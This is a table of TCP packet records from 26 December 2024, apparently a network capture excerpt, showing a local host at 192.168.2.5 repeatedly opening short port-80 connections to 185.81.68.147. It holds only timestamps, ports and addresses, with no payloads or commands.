Dec 26, 2024 12:06:06.629798889 CET	80	49865	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:06.994699955 CET	80	49870	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:06.994817019 CET	49870	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:06.994982958 CET	49870	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:07.114594936 CET	80	49870	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:07.172447920 CET	49870	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:07.172473907 CET	49867	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:07.269310951 CET	80	49867	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:07.269431114 CET	80	49867	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:07.269476891 CET	49867	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:07.269541979 CET	49867	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:07.284478903 CET	49872	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:07.300976992 CET	49873	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:07.404575109 CET	80	49872	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:07.406569004 CET	49872	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:07.407731056 CET	49872	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:07.420643091 CET	80	49873	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:07.420768976 CET	49873	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:07.420768976 CET	49873	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:07.527241945 CET	80	49872	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:07.540374041 CET	80	49873	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:08.959208965 CET	80	49872	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:08.959265947 CET	49872	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:08.959285021 CET	80	49872	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:08.959326029 CET	49872	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:08.959423065 CET	49872	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:08.959423065 CET	49872	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:09.064481974 CET	49877	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:09.078969002 CET	80	49872	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:09.094125986 CET	80	49873	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:09.094178915 CET	80	49873	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:09.094204903 CET	49873	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:09.094260931 CET	49873	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:09.095338106 CET	49873	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:09.184078932 CET	80	49877	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:09.187937975 CET	49877	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:09.188363075 CET	49877	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:09.215162039 CET	80	49873	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:09.231998920 CET	49878	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:09.307889938 CET	80	49877	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:09.351705074 CET	80	49878	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:09.351787090 CET	49878	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:09.351874113 CET	49878	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:09.471501112 CET	80	49878	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:10.726748943 CET	80	49877	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:10.726794958 CET	80	49877	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:10.726974964 CET	49877	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:10.756572008 CET	49877	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:10.877645969 CET	80	49877	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:10.884000063 CET	49883	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:11.004223108 CET	80	49883	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:11.004324913 CET	49883	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:11.004524946 CET	49883	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:11.090454102 CET	80	49878	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:11.090517998 CET	80	49878	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:11.090538025 CET	49878	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:11.090579033 CET	49878	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:11.090600967 CET	49878	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:11.124183893 CET	80	49883	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:11.210120916 CET	80	49878	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:11.226645947 CET	49885	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:11.346256971 CET	80	49885	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:11.346355915 CET	49885	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:11.346647978 CET	49885	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:11.466281891 CET	80	49885	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:12.544676065 CET	80	49883	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:12.544724941 CET	80	49883	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:12.544751883 CET	49883	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:12.544804096 CET	49883	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:12.544804096 CET	49883	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:12.659815073 CET	49888	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:12.664489985 CET	80	49883	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:12.779524088 CET	80	49888	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:12.779933929 CET	49888	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:12.779933929 CET	49888	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:12.899684906 CET	80	49888	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:13.100769997 CET	80	49885	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:13.100812912 CET	80	49885	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:13.100850105 CET	49885	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:13.100934029 CET	49885	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:13.101068020 CET	49885	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:13.208956957 CET	49888	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:13.220556021 CET	80	49885	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:13.276350975 CET	49891	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:13.339560032 CET	49892	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:13.396914005 CET	80	49891	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:13.399971008 CET	49891	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:13.403824091 CET	49891	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:13.459248066 CET	80	49892	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:13.463840008 CET	49892	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:13.491806030 CET	49892	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:13.523271084 CET	80	49891	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:13.611414909 CET	80	49892	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:15.002361059 CET	80	49892	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:15.002449989 CET	49892	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:15.002458096 CET	80	49892	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:15.002499104 CET	49892	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:15.002769947 CET	49892	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:15.076216936 CET	80	49891	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:15.076303959 CET	80	49891	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:15.076370955 CET	49891	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:15.076404095 CET	49891	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:15.111321926 CET	49897	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:15.122417927 CET	80	49892	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:15.195171118 CET	49898	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:15.196639061 CET	80	49891	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:15.231664896 CET	80	49897	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:15.235949993 CET	49897	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:15.236013889 CET	49897	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:15.314650059 CET	80	49898	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:15.319921017 CET	49898	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:15.320031881 CET	49898	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:15.355532885 CET	80	49897	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:15.439466953 CET	80	49898	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:16.922410011 CET	80	49897	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:16.922486067 CET	49897	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:16.922557116 CET	49897	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:16.922605038 CET	80	49897	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:16.922739983 CET	49897	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:17.032521009 CET	80	49898	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:17.032604933 CET	80	49898	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:17.032603025 CET	49898	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:17.032685995 CET	49898	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:17.032740116 CET	49898	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:17.033462048 CET	49903	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:17.042117119 CET	80	49897	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:17.152169943 CET	80	49898	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:17.152345896 CET	49904	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:17.152940989 CET	80	49903	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:17.153013945 CET	49903	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:17.153142929 CET	49903	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:17.272123098 CET	80	49904	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:17.272217035 CET	49904	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:17.272466898 CET	49904	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:17.272558928 CET	80	49903	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:17.392090082 CET	80	49904	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:18.703666925 CET	80	49903	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:18.703794003 CET	49903	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:18.703886032 CET	80	49903	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:18.704024076 CET	49903	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:18.706798077 CET	49903	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:18.826025009 CET	49909	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:18.826613903 CET	80	49903	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:18.929557085 CET	80	49904	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:18.929579973 CET	80	49904	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:18.929631948 CET	49904	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:18.929673910 CET	49904	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:18.929673910 CET	49904	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:18.946590900 CET	80	49909	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:18.946672916 CET	49909	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:18.946805000 CET	49909	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:19.040502071 CET	49910	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:19.049577951 CET	80	49904	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:19.066421986 CET	80	49909	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:19.160254955 CET	80	49910	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:19.160331964 CET	49910	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:19.160533905 CET	49910	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:19.280045033 CET	80	49910	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:20.548573017 CET	80	49909	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:20.548593998 CET	80	49909	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:20.548671007 CET	49909	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:20.598263979 CET	49909	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:20.718271971 CET	80	49909	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:20.906558037 CET	80	49910	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:20.906672001 CET	80	49910	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:20.906689882 CET	49910	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:20.906752110 CET	49910	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:21.070014000 CET	49910	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:21.071636915 CET	49915	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:21.189671040 CET	80	49910	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:21.191126108 CET	80	49915	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:21.191206932 CET	49915	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:21.230936050 CET	49915	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:21.235846043 CET	49917	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:21.350733995 CET	80	49915	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:21.355638027 CET	80	49917	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:21.355766058 CET	49917	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:21.355814934 CET	49917	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:21.475307941 CET	80	49917	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:22.747880936 CET	80	49915	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:22.747952938 CET	80	49915	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:22.748074055 CET	49915	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:22.748112917 CET	49915	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:22.861540079 CET	49922	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:22.868433952 CET	80	49915	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:22.981121063 CET	80	49922	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:22.983943939 CET	49922	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:22.990943909 CET	49922	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:23.034162998 CET	80	49917	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:23.034405947 CET	80	49917	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:23.034485102 CET	49917	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:23.034769058 CET	49917	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:23.110632896 CET	80	49922	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:23.151778936 CET	49923	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:23.154597998 CET	80	49917	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:23.271569967 CET	80	49923	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:23.271647930 CET	49923	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:23.271975040 CET	49923	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:23.391531944 CET	80	49923	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:24.546575069 CET	80	49922	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:24.546689987 CET	49922	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:24.546814919 CET	49922	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:24.547146082 CET	80	49922	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:24.547229052 CET	49922	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:24.661160946 CET	49927	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:24.666922092 CET	80	49922	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:24.780917883 CET	80	49927	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:24.781013966 CET	49927	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:24.781292915 CET	49927	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:24.902422905 CET	80	49927	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:25.206994057 CET	80	49923	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:25.207010984 CET	80	49923	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:25.207051992 CET	49923	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:25.207087994 CET	49923	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:25.208477020 CET	49923	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:25.239243031 CET	49927	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:25.327980995 CET	80	49923	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:25.333362103 CET	49930	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:25.345372915 CET	49931	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:25.453442097 CET	80	49930	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:25.453572989 CET	49930	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:25.453814983 CET	49930	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:25.465490103 CET	80	49931	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:25.465617895 CET	49931	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:25.465718985 CET	49931	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:25.573606968 CET	80	49930	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:25.585185051 CET	80	49931	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:27.035527945 CET	80	49931	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:27.035584927 CET	49931	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:27.035725117 CET	80	49931	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:27.035773993 CET	49931	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:27.036493063 CET	49931	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:27.113961935 CET	80	49930	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:27.114058018 CET	49930	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:27.114260912 CET	80	49930	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:27.114315987 CET	49930	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:27.141654968 CET	49930	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:27.155958891 CET	80	49931	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:27.217691898 CET	49935	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:27.261543989 CET	80	49930	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:27.288590908 CET	49938	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:27.337431908 CET	80	49935	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:27.337527037 CET	49935	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:27.338254929 CET	49935	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:27.408107042 CET	80	49938	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:27.408193111 CET	49938	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:27.410161972 CET	49938	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:27.457659006 CET	80	49935	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:27.529712915 CET	80	49938	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:28.928298950 CET	80	49935	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:28.928369045 CET	49935	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:28.928419113 CET	80	49935	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:28.928538084 CET	49935	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:28.955104113 CET	49935	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:29.074728966 CET	80	49935	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:29.092658997 CET	80	49938	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:29.092758894 CET	80	49938	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:29.092847109 CET	49938	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:29.271744967 CET	49938	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:29.342869997 CET	49940	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:29.391253948 CET	80	49938	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:29.412522078 CET	49943	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:29.462425947 CET	80	49940	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:29.462505102 CET	49940	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:29.462893963 CET	49940	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:29.532238007 CET	80	49943	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:29.532367945 CET	49943	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:29.533220053 CET	49943	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:29.582492113 CET	80	49940	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:29.652664900 CET	80	49943	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:31.036319971 CET	80	49940	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:31.036465883 CET	80	49940	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:31.036592960 CET	49940	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:31.036660910 CET	49940	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:31.142983913 CET	49947	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:31.156112909 CET	80	49940	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:31.237620115 CET	80	49943	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:31.237998962 CET	80	49943	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:31.238079071 CET	49943	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:31.239890099 CET	49943	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:31.262468100 CET	80	49947	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:31.262571096 CET	49947	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:31.262727022 CET	49947	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:31.353210926 CET	49948	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:31.359359026 CET	80	49943	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:31.382220984 CET	80	49947	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:31.472836018 CET	80	49948	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:31.475991011 CET	49948	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:31.478944063 CET	49948	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:31.598556042 CET	80	49948	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:32.829889059 CET	80	49947	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:32.829941034 CET	80	49947	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:32.830065012 CET	49947	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:32.837367058 CET	49947	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:32.940052986 CET	49954	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:32.957062960 CET	80	49947	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:33.059716940 CET	80	49954	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:33.059847116 CET	49954	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:33.060007095 CET	49954	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:33.179507971 CET	80	49954	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:35.267668009 CET	49948	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:35.267713070 CET	49954	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:35.388343096 CET	49959	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:35.389162064 CET	49960	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:35.507906914 CET	80	49959	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:35.508069038 CET	49959	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:35.508236885 CET	49959	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:35.508630037 CET	80	49960	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:35.508703947 CET	49960	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:35.508825064 CET	49960	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:35.629040956 CET	80	49959	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:35.629345894 CET	80	49960	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:39.399138927 CET	49959	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:39.399193048 CET	49960	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:39.507910013 CET	49970	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:39.508534908 CET	49971	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:39.627594948 CET	80	49970	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:39.627712011 CET	49970	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:39.628006935 CET	49970	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:39.628108025 CET	80	49971	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:39.628209114 CET	49971	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:39.628374100 CET	49971	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:39.747502089 CET	80	49970	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:39.747875929 CET	80	49971	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:41.326697111 CET	80	49971	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:41.326759100 CET	80	49971	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:41.326872110 CET	49971	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:41.326916933 CET	49971	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:41.447043896 CET	49974	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:41.447913885 CET	80	49971	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:41.566634893 CET	80	49974	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:41.566726923 CET	49974	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:41.567056894 CET	49974	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:41.686625004 CET	80	49974	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:43.540117979 CET	49974	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:43.540163040 CET	49970	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:43.649236917 CET	49980	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:43.650163889 CET	49981	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:06:43.768883944 CET	80	49980	185.81.68.147	192.168.2.5
Dec 26, 2024 12:06:43.769643068 CET	80	49981	185.81.68.147	192.168.2.5
